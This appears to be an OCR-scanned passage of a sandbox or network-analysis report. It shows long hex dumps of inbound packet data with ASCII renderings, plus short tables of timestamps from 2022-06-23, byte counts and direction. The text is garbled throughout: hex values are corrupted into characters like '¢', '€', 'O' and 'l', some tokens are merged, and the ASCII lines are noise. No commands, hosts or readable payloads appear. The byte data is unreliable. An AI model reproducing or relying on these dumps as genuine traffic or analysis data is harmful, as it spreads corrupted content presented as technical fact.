9f a6 52 1b 0f 54 d9 eb 9f 13 b4 68 b3 95 8b e3 f3 a6 1f e8 ff d4 Ob 5d c7 3e 35 3d 6d 99 f8 d3 2c 7d ec a8 63 09 8d 74 25
e0e7 bl 28 e2 al d6 f4 83 08 c6 9e c4 d3 ca ab 4a 7d fa cc 99 82 ea 66 00 f4 20 79 01 26 a5 4d 5e df c6 ff 4d 96 96 57
4899 04 cc 78 95 c8 5 1c 7a 1e 28 f6 c5 4d 38 14

Data Ascii: *EV?g@{O:bh<B|mN"xBd4RO40KsB1u%]ycE)(Y2%2S0|@rB|/zp-uIX\RTRTh]>5=m,}ct%(J}f y&

MAMWHxz(M8

Data Raw: 30 99 6¢ b1 12 6b 45 d1 2 02 ae 4 2 cf c2 d5 64 9a b8 al 84 fe e2 21 38 b6 6d 68 4d a3 bf 89 ac 29 19 07
85 a0 69 88 ba 53 21 c2 ¢6 cc 1b €0 a9 94 b5 34 01 86 c2 bd 17 98 69 01 ea 15 3b 3a 5d 25 95 7b fc 70 5f 69 66 97 f8 07
94 86 ef 45 17 a5 24 d8 23 7 fc ad 81 2a 41 cc 51 61 56 9c 19 77 cb 08 83 52 4 00 ec 2b b2 1f 52 ac 56 63 6¢ 35 c2 78
cb 9 14 48 98 b0 03 00 d3 1a 7c 56 75 9c a6 6b e4 ¢5 52 ab ¢7 a9 2c 2c 69 24 6f 85 5 11 06 16 09 5e c0 47 c7 7b dc Ob
86 bc 97 5¢ fe db 65 a2 30 38 ac 5a ca 55 47 9e b6 8b 1c 24 95 3b 27 d8 18 22 2b b9 19 15 da 02 af ¢3 49 e3 08 c4 ce 54
8 d0 60 7d Oe 5b 21 81 69 ee 3d 66 a4 d5 19 b0 bf af 44 09 ac b9 93 0d 75 c9 db 97 d0 00 54 47 92 37 €3 48 2 87 b3 59
b fa f9 2d 2a 31 0a 47 2d 1e 62 3c b5 6d c2 a9 7a a6 32

Data Ascii: OIE..d!8mhM)iS!4i;:]%{p_ifE$#*AQaVWR+RVCISxH|VUKR, i$0"G{\e08ZUGS; "+ T }[li=fDUTG7H, Y-*1G-b<mz2

Data Raw: 3b 85 de df b0 6b a7 42 58 40 f3 f1 05 de 4b 66 84 dc 90 a6 8f 0d 54 6¢ 6e e4 00 98 5d 0d de d7 21 3f 11 5b
€285 69 7d 81 2d 32 c6 3¢ 76 fb 2a be 25 f0 1c 45 93 4e 2e 1a 65 9a 94 ce 67 7c a6 1c 58 a7 21 5b 47 52 24 dO ca cd 45
55d1 19 95 dd dc d2 88 1c 88 17 b4 ee 45 2d 1a f0 66 bf 0a 14 04 19 a3 ed ae cc 29 69 f6 98 d1 34 72 9a af 44 44 1b el
43 81 30 ce 39 be 2b 3d ab e3 a8 ¢9 8e 7b 6b 44 69 ad Ob 9c¢ 1a Oc 7a d9 c3 4e 92 d8 el 46 40 2c bl c2 52 59 47 6e 5d
12 d6 e2 59 67 66 fd 65 €3 69 9c ec 16 ac 87 64 5c¢ f5 68 fO a5 87 f6 aa 96 b3 1b 7f 74 4b b0 fa 6f ad 92 64 f1 68 15 2¢c b8
fd 20 1f 69 70 77 24 4b 44 0b d6 78 42 94 10 94 cd f0 42 a5 df df a3 03 3¢ el Ob cc 5f bl e2 ae 99 9f 78 a9 63 3a 65 96
b5 7c 4c 39 d4 99 a2 5b ce 53 f6 6¢ 1e 4b 19 7d 3c 3¢ 5f

Data Ascii: ;kBX@KfTIn]!?[i}-2<v*%EN.eg|X![GR$EUE-f)i4rDDC09+={kDizNF@,RYGn]Y gfeid\htKodh, ipw$KDxBB
<_xc:e|L9[SIK}<<_
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kBytes

Timestamp transferred Direction
2022-06-23 16:20:19 UTC 2092 IN
2022-06-23 16:20:19 UTC 2100 IN
2022-06-23 16:20:19 UTC 2108 IN
2022-06-23 16:20:19 UTC 2115 IN
2022-06-23 16:20:19 UTC 2123 IN
2022-06-23 16:20:19 UTC 2131 IN
2022-06-23 16:20:19 UTC 2139 IN
2022-06-23 16:20:19 UTC 2147 IN
2022-06-23 16:20:19 UTC 2154 IN
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Data

Data Raw: Ob 86 a0 46 7f 1e 2e 84 47 9a 3d a8 bc f8 80 d0 4a 79 3a a0 9d ed 29 7f f9 b4 af 4f d3 d9 a8 42 b0 b0 3f ba 71
27 8b a3 0f 53 e6 94 8e cf el 7b 05 86 €9 25 {7 3f €8 28 05 c9 59 d1 e8 de a4 24 64 2e 16 66 01 35 ee 9c 93 da f2 8a 83
0d b5 72 dc 78 50 3c 43 8c d6 14 8b de 16 2f 16 bb 49 26 3d 26 14 53 35 14 05 ee 44 cf eb a7 ce ce f4 5d b8 7e 5f bf a4
12 6a 71 b7 ad 5 21 46 4d 9a 7d 5¢ 3e e5 3f 9f fe ¢8 b3 dO b7 33 21 d8 c4 9c 27 da 37 9a 00 d8 8¢ 79 00 b4 b9 22 cd 6e
61 09 24 d7 8e 6f 40 56 10 43 4e 8f ed 75 df dc c4 37 4f de bc ¢4 6e cf 3c d6 f1 ae fb 6d 5d 21 48 e0 2f 13 19 16 89 le 5a
d18d 71 77 5a 0f 52 8¢ f5 01 fa 67 3b 05 37 b7 b6 1c cd f6 0 c9 76 c4 f4 84 ee e0 6¢ 06 4c dc ea e6 f6 07 96 f4 1f a7 3d
11 7a 83 7c 7b 2b 87 2f 08 8e 3d 17 08 5d 86 35

Data Ascii: F.G=Jy:)OB?q'S{%?(Y$d.f5rxP<C/I1&=&S5D]~_jq!FM}\>?3!'7y"na$o@VCNu70n<m]!H/ZqwZRg;7vIL=z|{+/=]5

Data Raw: a6 c5 ca 2d bl ef d0 a5 Oc e8 11 5¢ 1a 29 fb 8c a0 cb b5 5e 89 2e d8 6e 8 14 ed ff 34 61 b5 a8 46 0f 34 02 5b
a4 92 71 8e a5 be bc a8 f4 2f 49 48 a5 e6 6e b1 98 85 3c 3c d7 1c fb 99 06 2e 0f 29 82 76 39 fa 51 3b 42 e8 bf {3 86 7 4f
b9 5a d4 66 bb ed d6 57 d5 63 f8 26 b9 4c a8 77 7f 2f 13 86 16 46 5d b3 c¢7 61 38 71 55 26 46 c8 24 4a d9 32 2c 3d €9 54
5d 73 b0 26 fd 51 cc 37 4d 6b 30 75 bb a7 fa bf 85 b8 c0 2d ee d4 10 b1 4e 99 9b 10 53 09 75 a5 f7 14 23 3a 56 cc 17 6¢
eb 50 0b 4d bd 48 87 fe 33 e5 ab bd 4f a8 9c 53 ¢7 38 e0 f1 43 6¢ 70 7c b0 30 39 8¢ 16 61 3c 02 e7 d8 3b 92 2d c7 4b c9
b7 53 32 7e dc ¢8 72 43 04 cf a0 ac 39 bd Oa 72 01 c9 94 d9 5d 3e d1 44 a2 76 8b 81 a5 6d c6 24 35 6f fe df b4 dd f2 36
17 fe a8 45 ba a8 22 38 62 f0 30 10 75 b2 ee c0 4d

Data Ascii: -\)*.n4aF4[q/IHn<<.)v9Q;BOZfWc&Lw/F]a8qU&F$J2,=T]s&Q7MkOu-NSu#:VIPMH30S8Clp|09a<;-KS2~rC
9r1>Dvm$506E"8b0uM

Data Raw: 6e 39 ¢9 59 2d 7c 2d 6b b9 0a b7 38 0f 38 b7 dc 03 f4 b2 7d 23 40 37 79 b2 f4 39 a4 cc f9 b7 e9 c5 da 19 67
19 af 6e 5d 6b b0 2f a0 17 0b 19 f8 72 12 10 db 1e 99 83 fa 4c cd b3 ¢8 21 fa 15 a0 6a 63 6¢ a2 d2 4d 74 68 d5 bc 64 cc
6f cc a2 a6 32 46 68 75 1e 29 bc cd a9 73 07 44 6f 57 28 6d 43 65 76 Ob 1a e5 44 68 68 fc 90 cb 90 13 2¢ 92 3e 50 0f 61
a4 cc 3f 2b ¢6 6¢ 6a c7 0d a8 82 d5 5a 56 2f d6 bf 42 c2 1b ae cc 4c 54 6b 4c 7f 2 67 77 d5 19 3f 96 3d 2a ce 5b ¢5 {7 2a
b3 11 fe ce 1c 41 f6 93 6b 57 c4 59 51 74 1d c0 40 92 6f 86 05 64 d2 1a 7e 9e 70 4e cb c9 f6 1b a7 Oc d8 2f 73 59 c5 Of
e8 dc 49 21 e7 el 56 02 ae a6 1d 10 96 f5 bd f1 bf da f3 17 82 68 5d 52 83 73 {3 23 50 2c c4 cf 0d 76 6c {7 1c 36 be 3e
d4 4f ff 59 bb 10 8b 6a 27 3e 20 72 e5 6f 91 6¢ 03 c8

Data Ascii: n9Y-|-k88}#@7y9gn]k/rL!jcIMthdo2Fhu)sDoW(mCevDhh,>Pa?+jZV/BLTkLgw?=*[*AKWYQt@od~pN/sYI!
Vh]Rs#P,vI6>0Yj'> rol

Data Raw: €9 cb 70 90 b0 50 13 ce a9 1e b7 bc e8 8d 75 8d 07 d9 63 b7 fa 88 c2 e4 b0 00 23 91 9f 21 5e 32 3d bb 25 81
5a 0a e2 b0 36 a9 21 78 8f 6a 75 70 cf ce 86 4e 73 2e c0 68 60 e0 89 70 c9 7f eb 61 8a Oc al 6d 39 79 a6 85 b3 c5 13 25
3b aa dc 9a dd 90 fc de 51 ¢5 64 4d c7 50 05 4e el 36 64 e3 cc d9 bb 89 d8 1d 35 77 25 87 00 33 03 ab 67 21 d2 03 b4
f6 a9 a6 d5 ce 7e 20 7a 1d ce 64 al a9 al 82 4d d2 47 2e 40 3f {7 55 42 5a e6 f4 98 16 01 92 5e 07 63 77 6b 5d 7f 24 1b
2 19 15 6f 23 bd df 5e 10 17 b0 ea 9f 83 ab 1f 59 03 22 2d 63 3d 2f b3 68 dc 03 4c bb 73 fb a7 c4 9e fb d5 a5 e2 e3 2e 42
03 6f cc ee 22 94 d6 4d 7b a9 f2 76 db 20 13 2¢ 17 90 8d 09 d2 59 9b 67 7e eb 5b 59 50 ec cb e8 4c dc 2 e0 a2 40 4f 44
9e f0 40 80 81 ea 64 cc 48 71 1d 42 62 00 86 16 3f 5d ee

Data Ascii: pPuc#!"2=%Z6!xjupNs.h’pam9y%; QdMPN6d5w%3g!~ zdMG.@?UBZ cwk]$o#"Y"-c=/hLs.Bo"M{v ,Yg~[YPL
@OD@dHqBb?]

Data Raw: 4c 70 3f 74 84 9d 4d 96 a0 df 19 08 a4 68 d0 b7 3d eb 57 6a c6 f7 1d 3b 1f 76 3d 5e ef 8d ec 13 d5 8b 1c cf e2
37 4b 13 1d d4 cd 27 33 b0 5e 08 f6 a2 e6 17 6a d9 24 fa e3 a7 09 3f d7 5¢ b7 98 a4 9e c9 97 44 8e 9d 90 73 01 35 bb ed
72 0a 03 3b b0 64 0b aa a6 bd 7c 71 e5 6d 2e 8a c0 f9 f5 76 bf 59 0Ob fe f1 13 5b d5 07 88 01 6f 50 75 87 de da €6 75 a6
6a 92 9d be 55 54 03 8a fa 12 31 c0 4f b0 d3 b8 43 aa d9 72 cc a5 6¢ 3f 82 26 cf d8 39 df 88 f0 24 8d 3b 89 63 67 f4 06 af
d5 ee 77 e5 3e 1a ca b9 4c 2a c8 d5 c4 fe 06 32 21 9b 8¢ 91 6f 66 f8 5f Oc 6d 16 09 8e 00 b3 el 17 ab d6 f4 87 0d da 47
10 a3 1a 98 5c 30 c6 47 82 53 09 Oa ca 37 42 3c 9d d6 3e bb 95 4e b8 d8 92 b7 db f5 20 b3 c4 82 1d 9f 04 00 24 50 41
73 65 ac 40 cc 3c 84 f4 3e b5 92 fd d3 c9 47 54 e5 7

Data Ascii: Lp?tMh=Wj;v="7K'3%$?\Ds5r;d|gm.vY[oPuujuT10Cr?&9%;cgw>L*2!lof_mG\0GS7B<>N $PAse@<>GT

Data Raw: 42 dd 32 65 4a 08 b0 99 81 1e 85 0a c7 43 24 89 67 2e 64 5f d4 42 96 56 fa 57 b5 93 67 44 8a 3c 34 90 a5 11
8517 5f 25 31 93 d2 37 c2 d0 e5 4c e5 f2 dd f4 28 e5 f5 5d a2 9¢ d4 76 96 14 8d 20 8e el 26 ff 5d 41 98 41 e5 b4 ee 03
16 4f 95 f6 bc el Ob 74 fa 92 21 63 ad 8b be a4 90 c4 0a 81 cb 7d c2 29 e7 cf Of de eb b2 1f e6 88 23 c1 27 38 65 f4 69 96
af 96 5¢ Ob 34 96 65 46 64 fO df 7 cO 21 87 63 3b f9 ae 6¢ Ob 11 15 b1l f6 ff 2f 61 32 d4 06 c8 70 91 8 20 1b c1 87 61 ef
3a 3f3d eb 86 93 8f f3 78 9a 2c 69 b3 3e 2f f2 1a 50 af 90 ee a3 27 €8 Oc c5 a0 ac be 39 14 el a3 59 72 5c¢ be 35 ad 56
3d ca 94 af 45 52 75 17 37 5¢ 6d 44 3c 8d 8c 48 d5 b0 af e6 85 fb 78 d4 8b 79 a7 d5 2f dd ab 3f f9 45 7b 87 a0 e6 7c d9
92 5a d0 5f 30 42 da 69 60 da e3 06 2d 11 e4 3e 82

Data Ascii: B2eJC$g.d_BVWgD<4_%17L(Jv & AAOt!c)#8eildeFd!c;l/a2p a:?=x,i>/P'9YN5V=ERu7\mD<Hxy/?E{|Z_0Bi'->

Data Raw: 36 Oa fd 86 1f 53 ad bb 49 60 d2 26 bb 5a a4 ee b3 ce 29 9c ee f1 Oe a6 2a b4 70 e6 24 1c d0 28 3a d7 12 34
a2 51 bd df 8¢ cd 3b ca 19 69 7a 04 02 1d 47 bb c1 94 2d c3 e7 a7 d7 bc €9 26 9f 9c e7 45 fa 96 bl 18 99 3a f8 27 2f 82
a9 4a a7 08 31 ec 28 82 19 6¢ 99 b3 5¢ 7f 94 16 40 de 51 2a al 7a 4a ae 77 13 8a 20 23 b9 Ob 26 b1l 9f be 2a 29 19 dd
d3 e099 90 76 85 1a 9f da c1 4f a2 eb ce 07 68 89 34 8c 16 43 5e 20 51 0a bb 99 66 3f 75 4e 1d ae e3 38 5f 6d 27 6e 9e
99 d8 e5 50 b5 4c 2e f7 72 d2 b5 2b 9f Oc 5f 88 eb 7e de 77 a4 87 7f €5 43 e5 45 2f ae 8e 84 de 2d bf 1f 2c 99 c1 69 9f 30
99 91 ee 24 c0 65 47 fe 68 62 da 9e 7e 2d c1 c6 90 5a 9f 1d 10 b2 6f de 69 89 8f €3 90 Oa 7f 9e 4e af f9 44 69 6a 41 af e3
97 2a 8¢ 3f 17 83 dd 65 11 ba 1b 97 42 5f 50 7e 10 c8

Data Ascii: 6SI'&Z)*p$(:4Q;izG-&E:'/I1(N\@Q*zIw #&*)vOh4C” Qf?2uN8_m'nPL.r+_~WCE/-,i0$eGhb~-Z0oiNDijA*?eB_P~

Data Raw: 8¢ 52 83 Oe a6 21 2d a5 58 ¢7 9a 65 f3 1c 2f a9 42 8f 21 f5 b5 21 7f 3e 3b 66 a4 51 fb 08 4f 60 1b d0 05 cf 05
€8 b6 99 4c 53 dc 21 4a d8 5d 61 0d 85 c6 94 c6 9d 7c 56 d2 15 b9 37 83 91 79 f9 8f 4d 6e 40 ca bc Of 3 5b 6e 08 a8 d4
37 fc 3a 44 f9 cO cb Oe 7f 09 be c7 74 de 86 ef 68 a4 6f 78 fc 77 09 72 1a b8 cf 6d d5 ac b2 9c 63 d5 52 Oe ba 9b 74 65 dd
82 9f a9 a9 bd 7e 25 Oe 09 da b9 4d be d3 df df 4d 45 01 ea a7 80 d8 1a f1 5b bl c3 0a 12 d7 e7 ad cc 72 3b 28 fe 26 03
ae d8 ef d1 4b 14 16 36 ff 1f 7f 3e c2 94 69 65 f4 bf 20 5e d6 5d Oc 68 16 4e 5a 60 c7 5b fe 5a 73 cb cbh 1b 0d 05 ac 0d bl
0f a7 2d bd 5a 62 48 94 88 57 49 30 7f c1 76 34 a6 95 c6 9b 73 9d 6a 96 ea 25 32 97 89 1b 33 e7 7d cc de 55 23 42 15
93 16 64 72 Ob 57 dc 05 e3 98 f2 b1 8c 8e el ae 31

Data Ascii: RI-Xe/B!!>;fQO’LS!J]a|V7yMn@[n7:DthoxwrmcRte~%MME[r;(&K6>ie A]hNZ'[Zs-ZbHWI0v4sj%23}U#BdrW1

Data Raw: b9 56 fd 8a d1 00 fd 88 aa d8 13 a4 90 5a 9e 90 0d 69 12 f4 f2 ae 23 2b d9 c¢7 72 4c 67 45 e2 cd ea 43 e4 Oe
57 b7 63 0f dc f8 Oc d0 8 19 fd 1a ea c9 Oa 5e 73 df 7c 14 b2 9e 2f d9 68 75 05 6f 31 al 58 e6 a5 ed fb 39 51 ed a5 e7 81
al 14 f3 09 bd 31 95 b4 5e 27 f5 6a df 00 a0 35 1e 23 33 24 85 cb b2 67 89 cf 82 74 48 fb c6 ee eb de b2 7c 73 98 54 84
ef ea el 95 6b 60 90 1e 9f cc 63 53 b9 76 Of 2f e3 e0 a5 97 6¢ 1f 72 15 d3 cc 31 66 8¢ cb 7e a5 e6 7f da de 33 63 Oc b9
0Oa f0 83 4b 47 fc 6a 63 62 ff 78 d5 b0 ff 54 99 18 75 5b 99 3c 78 a5 3f el 84 d3 cd b1l 3d bl 6¢c 06 3d 83 5b b2 b6 c8 a8
6e 28 43 bd ae 7a cd 00 6b 92 1d Oc 8d 58 29 54 42 7c¢ 2c 22 f1 7c 5a 53 db f9 30 5¢c ec 6b dc ed 17 b0 fd 76 c7 5a 47 a3
ce c1 96 85 64 72 47 af 03 49 al fc 70 ee 9d cb a0 f7

Data Ascii: VZi#+rLgECWc s|/huo1X9Q1/5#3%gtH|s Tk cSv/Ir1f~3cKGjchbxTu[<x?=I=[n(CzkX)TB|,"|ZS0\kvZGdrGIp
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Timestamp transferred Direction
2022-06-23 16:20:19 UTC 2162 IN
2022-06-23 16:20:19 UTC 2170 IN
2022-06-23 16:20:19 UTC 2178 IN
2022-06-23 16:20:19 UTC 2186 IN
2022-06-23 16:20:19 UTC 2194 IN
2022-06-23 16:20:19 UTC 2201 IN
2022-06-23 16:20:19 UTC 2209 IN
2022-06-23 16:20:19 UTC 2217 IN
2022-06-23 16:20:19 UTC 2225 IN
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Data

Data Raw: 62 5d 67 9d d2 7f d5 13 e4 55 89 71 a5 bf 14 7f 9b aa 6b 53 b7 63 44 9d e9 8b 42 9e ee bf a6 1b 8c 60 4c b0
0f 84 8e 94 Oc 57 75 50 80 dd 35 11 b3 c8 6b cf 4b 62 7d 3c c2 7d 38 {7 cb bl ad 94 6a 62 fd 08 6a 89 3b f6 cO 9f b4 5f
55 f1 c1 3f 7f 67 f4 e6 a9 fd 4b 6 65 b6 a8 05 5f 7d 47 f4 e7 c9 41 4f 5¢c e3 95 2d 75 11 52 a0 15 73 69 3a aa f1 d6 43 9c
5b ba b7 e2 be 8a 7b 4c 94 25 52 fa 27 80 bd 61 5 c0 68 c2 1d 35 dd 13 df a8 e4 4f 21 39 21 7f d6 d3 64 de fb ce €9 dc
c4 19 40 33 cc 85 b6 d3 86 87 c7 Ob 8c a7 aa 2e ba bf 83 52 ae 69 e3 a7 5b 53 d6 ca 27 01 a3 20 cf c6 5f 9f b1 51 d5 83
14 85 9f 96 56 2a d1 7a 89 43 18 24 cc 77 87 dc 12 b5 98 df 79 5d 11 08 75 6f b2 00 7a ba c5 39 85 99 18 23 98 ae 9b fa
47 4b 46 69 3b b3 1f 1c 79 93 9e al 84 44 1 48 3f 51

Data Ascii: bJgUgkScDB’LWuP5kKb}<}8jbj;_U?gKe_}GAO\-uRsi:C[{L%R'ah50!9!d@3.Ri[S' _QV*zC$wy]uoz9#GKFi
;yDH?Q

Data Raw: 14 3a 9a 29 Ob 7e 90 c5 f0 69 d8 5¢c 04 62 08 ae ae cb 67 d6 74 4c 5d 64 a7 63 43 e2 ec fc 18 52 aa e8 b3 83
da 08 81 7b 31 3f b8 1d Ob 44 16 a3 28 2b 57 87 c0 a2 e6 7f 7d 07 4f 99 8b 50 cf 6e 97 2d 43 €9 e7 3b 61 Oc ba 6c 48 fO
c0 89 b4 74 cf 67 f2 24 2e €9 d4 bb 95 ae 2d 00 ca 48 da 66 Oc fd 7f 4a 6f f1 84 48 b5 44 d4 ca 81 b8 eb e2 5f 21 63 0d
09 16 39 8d c1 6d f8 b5 7f 46 a2 06 80 46 9d 4c 30 d8 df 93 bf 10 32 32 1b c5 96 85 92 3d 26 2f aa al 5b 78 dc f8 45 2e
96 cc cb fc af cd a7 aa 94 d4 69 af 13 c0 e2 44 1e aa d2 bf 76 32 9f ed 9e c6 44 af d3 10 1b al bb 59 07 f2 e1 35 50 b9 7a
d4 bf 54 e5 cd 86 64 b0 5¢c a2 41 7d 8f 39 cd 66 47 68 99 ea 2b ab b9 6e d3 42 5e el 0b a9 40 7d fd 53 67 87 b0 4a a8 c2
63 33 4¢c 63 28 cf 97 aa 43 7c a6 45 af 59 7b ee f9 51

Data Ascii: :)~i\bgtL]dcCR{1?D(+W}OPn-C;alHtg$.-HfJoHD_!cO9mFFL022=&/[XE.iDv2DY5PzTd\A}9fGh+nB @}SgJc
3Lc(CIEY{Q

Data Raw: 41 fb 4e b2 bf ff 9d a3 52 46 fa c4 5b 7d 78 81 5e ff d1 ae 38 83 84 de d8 ac 5d 30 8f b8 27 d8 05 12 ca 0d c9
76 b6 e4 ed 27 de 5e e5 Oc c8 ed 36 63 f9 5e 1a a9 0d fd 29 30 4f 5b 91 d8 7f d9 af 2e f0 50 54 1e 8d 67 bl f0 13 d2 49
80 32 6¢ 68 12 47 d1 a3 98 9e 36 53 e6 78 98 d3 dc 5b 29 92 b9 76 7a 84 92 10 d0 53 21 9f a3 e0 c1 dd 3a 8a e2 fe d9
eb 6f 59 98 13 4c f0 7a ff 85 17 99 1d 39 15 c7 bl 62 ed 4b 96 37 42 bf 76 f5 a5 ed 6e b3 95 97 4d 6d 5f d7 f9 7b 84 4d bc
be 12 6f 75 5d 60 82 e5 aa Oe 43 {7 5e ca a4 39 c8 45 6¢ 4c b4 d1 4b c3 58 9c 9d a6 6¢ 82 3c ¢4 18 90 1a 30 66 22 b9 3¢
4511 a0 22 64 7b 9c 7e dc 9f 9f 36 1d 99 ed fd 90 dd f9 7c 1b 4a f6 31 a8 7c 52 76 e0 1b 7c 09 5a 38 cd Oc 67 f5 2c 36 ae
98 34 f7 03 fd 32 64 ed 81 84 ea 8c 5c e7 5f e5 92

Data Ascii: ANRF[}x8]0'v"*6c")00[.PTgI2IhG6Sx[)vzS!:0YLz9bK7BvnMm_{Mou] C*9EILKXI<Of'<E"d{~6|J1|Rv|
Z8g,642d\_

Data Raw: 24 70 fa 32 2b 70 16 82 a8 91 66 09 b5 23 15 8e ef 79 cb 17 4b 7e d3 58 23 d0 7c dd f9 7b a4 ac 3b 51 cf 32
cl Oafa 9853 c2 d4 40 e0 4f 27 b2 84 42 ea 09 aa 81 13 87 d6 dO d4 e0 99 63 a2 a0 4e 19 1e a7 9c ea 10 8¢ fd 7b 7d 78
8137 6¢ 1a c3 9d f9 df a0 ca al 5a e7 00 a6 99 25 6f 6¢ 23 3d 12 8¢ f9 02 a1 00 71 81 04 fa e3 c2 1d 41 c7 22 82 84 22
Ob 7e 10 fe b9 21 1c 60 a4 81 9f 30 Of e7 6¢ ¢6 01 c1 09 79 40 ba 90 19 3d 20 c6 04 ee a8 e4 9d c7 df a5 aa 95 c6 d0 b6
ch 5 fe 73 ee bb b3 56 4d 94 cc 1a 7e 9d 74 b3 3d 82 b0 78 8a 67 cf 22 43 48 4d e7 07 3c 9c 10 58 fa 46 b2 64 e7 15 3f
db 00 ee 7f cc f0 51 a0 54 97 ed b3 9a c6 8 db ec 70 47 fc 1f c7 27 4a 57 d4 db 3e fc 38 bc 6 eb 84 b0 19 30 Oe 4e 93
d5 81 cc ¢9 95 00 44 46 de 8e 68 14 1e 9a 1b 41 ef a3 b2

Data Ascii: $p2+pftyK~X#|{;Q2S@O'BcN{}x71Z%ol#=gA"'~!"0ly@= sVM~t=xg"CHM<XFd?QTpG'JW>80NDFhA

Data Raw: a2 61 cO 7a 87 ac aa 77 69 73 86 05 46 €9 6a 66 27 4c 10 77 c0 75 80 42 7b 65 16 42 {8 3c c9 7f 4f 42 43 Oe
2585 78 91 5d 42 f9 48 2e 29 e2 af 3b 3c 60 eb 41 fc 52 d8 da cd Oe b8 02 90 b1 02 5a 41 f2 c1 47 43 ac e f0 01 ae 32
87 ba 93 6a 55 ce dc 3b d1 60 c9 13 28 8f 8e 39 35 ba 5f 30 d5 70 b8 b5 ca 09 ed 85 ed 6e fb 70 f5 8d 88 6d 85 99 8e 69
5f e0 76 6¢ db ed 1e d6 6f 0d e3 c9 85 a3 8d 7f 2a ba 4c 28 1e 13 db 64 fe 94 98 36 88 cb 1b 2d 7d dc d7 6b ed 49 20 6b
fO 1e 14 81 89 5b c2 51 1b bf 7 2a 4b 40 72 96 41 9e el 24 c0 c7 42 a8 86 2c 5a fa 3d 2 c6 4f 36 8e dc 4d 2e 80 e7 3c
ac 7c 63 a6 90 68 de 8d 70 01 32 c0 4b b2 71 8f €5 9b d1 3d ee 1a c4 1f 7c c2 88 e4 c7 8f f4 93 eb 74 57 f0 93 c0 9f c8 2e
85 06 ba 4a 76 e3 bl de c9 7a 37 98 cf c9 ee 0f c8 b9

Data Ascii: azwisFjfLwuB{eB<OBC%Xx]BH.);<"’ARZAGC2jU; (95_0pnpmi_vlo*L(d6-}kl K[Q*K@rA$B,Z=06M.<|chp2
Kqg=[tW.Jvz7

Data Raw: 39 8f c6 f1 9e a0 1a 82 b4 27 c7 3c bf 28 4d a0 16 d1 c1 d1 a8 9a €9 16 04 1b 64 1c a8 57 2b b6 1f 55 bd ef d7
0d ad 10 5d c6 Oe da 37 64 ce 42 a2 77 92 €9 a4 52 1b 84 3e 46 f9 1a 6a 75 27 fc 96 ac 34 8f 8c 1c 47 9a 61 88 d2 b9 47
c7 ad cf a6 52 cc f8 fa 6e 07 86 f2 be Ob 91 8a 7c 43 76 68 Ob fa 8b 86 dc 1a 5¢ 7d b5 76 a3 16 65 af a8 fa f0 18 66 2f ba
22 be 36 5d 3 1a 3b 49 04 7c Oa 7d a9 d5 18 d1 a3 6f ca 5f 6f 20 2a c2 d1 94 56 ba 36 d3 d9 54 57 ae e4 Oe 8e 89 d9 aa
ad 84 f8 39 1e 99 e3 c2 ac fd ce 7d 03 51 b6 77 dO ff 6b 69 €9 ed 7e 36 2b 0d b2 6f cf 54 d7 c8 9e 5 08 1c 61 ea 27 37 f4
4a 2c 90 5e cb 1d 89 e7 dd 8¢ f1 91 1d 1e 5f 46 5a f8 e4 f1 d5 ab 65 43 88 16 4c 98 93 83 c9 11 1f 7f dc 05 52 ab 8a a4
le ea 94 0a e2 40 a3 35 5e 5e 6f d8 cd 61 e9 41

Data Ascii: 9'<(MdW+U]7dBwWR>Fju'4GaGRn|Cvh\}vef/"'6];|[}o_o *V6TW9}Qwki~6+0Ta'7J,"_FZeCLR@5" 0aA

Data Raw: 19 dd 69 16 96 e2 7f ff e5 3 fa 80 5b b7 9c 77 47 67 2f 6a f5 Of fe e2 6a 8a Oe 74 ff 8f Ob 6f 58 d1 7 fd 1e 4f 97
39 ee 47 81 40 03 fO al ee b5 71 4c 07 91 57 12 0a 36 ea Oc ae de f6 f0 09 €9 96 88 45 53 78 b7 49 a0 Ob 28 06 1le ed 11
3146 87 95 7a a9 8d 54 f0 fa bb 76 el 12 53 f5 3e 9 f4 7f 55 5e 7a ee fe 99 c8 3b e8 85 d9 be 7f fa ac 5e de 9f Oa db af
3a 70 28 a5 c6 2b 12 d7 Oe ac de 86 fb 12 45 8a bd a4 6f 52 b3 15 0a 28 b7 9a 1c 51 €0 09 c4 80 ee 96 ef 18 2a 1b 71 el
78 f2 0d eb bb 15 d5 61 e2 19 f7 63 60 de 59 8e da 99 8b 60 1d a6 51 f5 f1 6e fe 98 80 84 87 b9 94 ee 95 46 c0 3f 52 17
4e 5e Oc f4 f2 ¢5 05 ac 3b d3 97 97 Ob dO d1 8e 4e b1 ac 55 c6 de 58 cc d7 ab 43 22 bb al 08 a6 9c 3a 99 c6 62 19 91 70
15 1e 41 b9 ba 29 39 a2 9f ¢3 78 77 c6 78 77

Data Ascii: ifwGg/jjtoXO9G@qLWBESXI(1FzTvS>UAz;M:p(+EoR(Q*gxac’Y QnF?RNA;NUXC":bpA)9xwxw

Data Raw: 1f 95 48 4f d6 1f 81 bd b7 de c6 1b 14 93 1d de d5 00 aa a9 de c9 09 7a a8 70 9c 9e 81 88 94 c9 8b cf 7e f1
3a b6 a4 d6 d2 46 a2 f9 eb cf b9 08 e9 7d 01 57 df 94 aa 54 a9 15 ae 12 b8 95 b1 69 89 33 58 07 fa fe 07 c6 20 ab f6 32
30 4c e8 93 37 50 de 11 02 a5 ad 66 83 55 72 77 39 53 d8 €8 b3 8d 3c 6a 11 ae 44 29 8d cd ab 76 cb eb 01 5d f4 14 33
a0 51 e8 93 fa f2 24 84 c4 4d 35 45 06 3f 15 b8 bf ab 1b 1b 98 af fc 0d e0 22 47 d6 7f 4e 64 bd c5 31 d6 00 88 f4 3c 20 bd
€8 08 df b4 56 31 88 49 41 ff 1f 60 d6 7f ba ce 2a d6 cO Of al a3 06 6f 84 ea e7 a3 89 5f 79 a5 9a 75 bb 1a f8 e0 11 cb 3b
el 8f 1c 4d 2e 6e 51 6f 65 ff 20 c5 f5 ed d1 6f 0d 75 d6 ed f5 27 54 8d 25 95 cc d8 db 58 77 a5 b6 a0 1c 25 05 2a 7a f1 be
84 05 7d 2e 9d ba 33 04 9e a4 fb 6a 22 9d ea 5c 88

Data Ascii: HOzp~:F}WTi3X 20L7PfUrw9S<jD)v]3Q$M5E?"GNd1< V1IA™*0_yu;M.nQoe ou'T%Xw%*z}.3j"\

Data Raw: 05 6d 6¢ d0 60 40 79 ff ce d5 00 12 de 5a fb d4 15 31 3b 66 15 95 1b el 94 75 d9 2e d6 cd 2d fd 97 ce 5c 33
€6 d9 0a 76 5e 67 5b f3 ab 24 81 01 7d a4 51 f8 04 42 91 00 be 77 02 57 9e Of e8 f1 56 36 2f 54 03 {7 7b b5 fb 7a cc 3c
